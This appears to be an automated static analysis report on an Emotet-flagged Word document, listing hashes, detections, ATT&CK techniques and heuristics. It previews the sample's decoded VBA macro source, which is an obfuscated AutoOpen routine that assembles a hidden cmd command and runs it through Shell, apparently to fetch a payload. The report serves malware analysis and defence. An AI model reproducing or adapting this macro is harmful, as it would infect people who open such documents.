Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9f4f607a1bf4c1f9…

MALICIOUS

Office (OLE)

160.2 KB Created: 2018-07-26 07:35:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: fa3ed5214d75943337f10dc851103209 SHA-1: 36f3f6f8b347de431015a0150c5b142e78b01259 SHA-256: 9f4f607a1bf4c1f99bc0e2ad7f61e864111253cfe3a257ebc2a0eef6ffbea836
142 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6776349-0, indicating it is likely part of the Emotet family. The presence of an AutoOpen VBA macro, detected by multiple heuristics, suggests the document will execute malicious code upon opening. The VBA script attempts to construct a command string and execute it using the Shell function, likely to download and run a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6776349-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6776349-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30974 bytes
SHA-256: 2e5e707d1154c8fdf840af75dd9f270150ff4c021f2677aea18e085fa57cb8ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mGdSmnqnOajOVF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   FdFtVI = 1
   OcjKn = Cos(5735 - QLLCU / 10359 + BhnzC)
   FfnDw = Fix(8576)
   wvoUR = 6
PUidPQwCYX = "" + YBOnrvaJAA + JlsXTKEwAGt + CVar("cm") + IwaQSuYdqnAF + FGdzCbNwrN + IEKVRFJhtH + ajStp + DWRVcnbi + qjqhnYbWMNi + KhbhBLV + ibGFUSV + AuZUjdY + vIsES + sfKniWAhZW + pXiYLNqdR + RImhHujfbuO + CbKZN + nEirXqhkiNI + dzQzEHobo + rVnTqSit + ZvRwskhOYG + MqztAolP + mFpSwda + flbCIXXCi + OcjoaqFior + WVdNQjFdnB + cdQXXDW + uwBBBIqAWt + ZlJtMAoJ + ZzkMQ + RzmGJOHA + kbRwUSKJY + HLTJXirjsvS + zEZirNpJs + uizjWGhWjP + pmciTwPjw + XBJabb + FzoqT + oCaAnoLXcE + qXzMH + QFwFnnqqSHz + XWFdzMRNiiQ + ZjfwfzsAVFI + jwAthFw + zrRCnwrWJ
   VMHNt = 495579077
Shell@ PUidPQwCYX, 0
   oVVsaN = IGkPwi
End Sub


Attribute VB_Name = "tVFzKwwwIQX"
Function IEKVRFJhtH()
On Error Resume Next
tDCUZE = ChrB(2)
   WXFuFi = ChrB(30533 * KQiii)
iZVKUX = "d         " + "      /" + "c     " + "   " + "   " + "    c"
LKAJBJ = chOMLs
   iFbijW = Cos(9)
   pNwqcv = 6830
OLNWuaXDtnl = "M" + "D " + " /v:On/C" + CStr(Chr(FkOnhrsdj + sdNfzZP + 34 + wkCIrtMu + LkUjVjwfBBczo)) + "s" + "eT"
MHJPD = Rnd(vNacM)
   EJiRp = hpPzP
JXRwluwPAZ = "   $?,=" + "\\\" + "//_/-__"
ZfOGm = Hex(80)
vFwOOt = "--/" + "_\ -" + "_/\_-/" + "-\\" + "\-/__ /"
EiPGVE = "\\\--_" + "/-__/_-\"
kTjlBB = CTjnHB
   SjaPYz = Round(tijHV)
rakMmCY = " /_-\" + "-" + "-" + "\_/-" + "_\"
aaXEY = 414534674
wLnrTPczzZX = "/_\ -/" + "__\_" + "/-\/--" + "_\\ _\-_\" + "\_" + "-_////-\ "
ATjifYsizEn = "\//_/\_-_" + "\\-" + "-_- -\\" + "\-"
IEKVRFJhtH = iZVKUX + OLNWuaXDtnl + JXRwluwPAZ + vFwOOt + EiPGVE + rakMmCY + wLnrTPczzZX + ATjifYsizEn
   TjLMj = tOBHjv
   Mkztj = Oct(dGjMkc)
   AaCcZ = Chr(Etfwq)
End Function
Function ajStp()
On Error Resume Next
GNzQw = Tan(834)
wQrwqtHnbzQ = "//__--_/" + "\_ " + "\/-_/" + "-\-\\__/"
STqKwG = "/- \-_\-/" + "\\-__//-" + "/ _\\" + "_-\_\" + "/-/-_/- _/"
vwqEfh = Oct(zOtrIn - zuFAJ)
   BwpjwZ = CByte(PWiWh + EODKwE + NSzLL - nRwZAu)
ESptiDkwC = "_/\\-\-\-_" + "_/-" + " "
Crmoi = "/" + "/\__--_" + "\-/" + "/-_\ " + "_/-\_/_\\" + "_-\--/ /"
HWVjXAaz = "/\\-_/-_/" + "\\__- -" + "/_\_/\/--" + "_-\\_ " + "_-" + "\\"
wiVLlj = Oct(3363)
dmimi = "/__-_\-/" + "-/" + "\ /__"
bvrIRM = 8
krzOtvJP = "//\\"
ajStp = wQrwqtHnbzQ + STqKwG + ESptiDkwC + Crmoi + HWVjXAaz + dmimi + krzOtvJP
   jRLQNv = 2027
   iwjmaS = Atn(rLSMzR)
   jQEFT = CInt(4597 / mSDUAk / 53867 + MzMjT)
End Function
Function DWRVcnbi()
On Error Resume Next
qTmwRA = Sin(zbkjm / 88759 / pDskV + QwBlj)
dliZiSPUF = "/_\\_---}"
IGjHIcnNk = "/-_" + "\-/_/-\\"
KhAzGEhvizH = "-_\_}/_-_\" + "\__-\//--/" + "{/" + "-\-_/_\" + "_/_-" + "\\/h\\_/" + "_/-//_\-\-"
tIzPh = ChrW(408363588)
   HwjTp = Fix(152594820)
KduvVvjnMW = "_c\__\_/"
BPJwH = 70
   EQwQiv = CSng(vVnuin)
   pitwH = CByte(IGjrFR)
TSIudpqO = "\/--_/\-/t"
LtmwpA = jMjbHh
NBarAKz = "-_\\-_/\/_"
SKSodzJ = "-_-//a/" + "/" + "-__\\" + "-__/\--\c"
iOLLEL = CInt(73950 - GzbzF)
   vjlSw = Rnd(4642)
smiNdVDdQ = "--/--" + "_\_" + "\_//_\/}\" + "\/-//_"
PEZjH = CDbl(50065 - rfPDji * XYZbVK + JdzDr)
   DoMEzT = CDate(75)
LihUVs = "\/--_\-" + "_" + ";\" + "\/-/_"
jPsFID = 340805908
   HjtYmW = Cos(56312 * wVroiu)
   bjPczw = CStr(lCwjNk - pRIKO + 32230 * iWzcIF)
jdFBHqF = "\/-_/__-\k" + "\/_-" + "\/" + "--" + "___\" + "\-/a/_\__-"
DWRVcnbi = dliZiSPUF + IGjHIcnNk + KhAzGEhvizH + KduvVvjnMW + TSIudpqO + NBarAKz + SKSodzJ + smiNdVDdQ + LihUVs + jdFBHqF
   uwJRz = CBool(qYLWio)
End Function
Function qjqhnYbWMNi()
On Error Resume Next
IsHfm = ChrB(27469 - rliYsN)
   FcAiV = 38
tJzoHJd = "-/\_-\/" + "\/e/" + "\" + "-\_\//\"
ILIYLVf = "_-/-_-r_" + "_/" + "\--"
IqCzb = Int(157942624)
ujbXGGzI = "_" + "\\\/--//b/" + "-" + "--_\_/\_\_" + "//-;\_/\" + "/_/\-/-\_-" + "-
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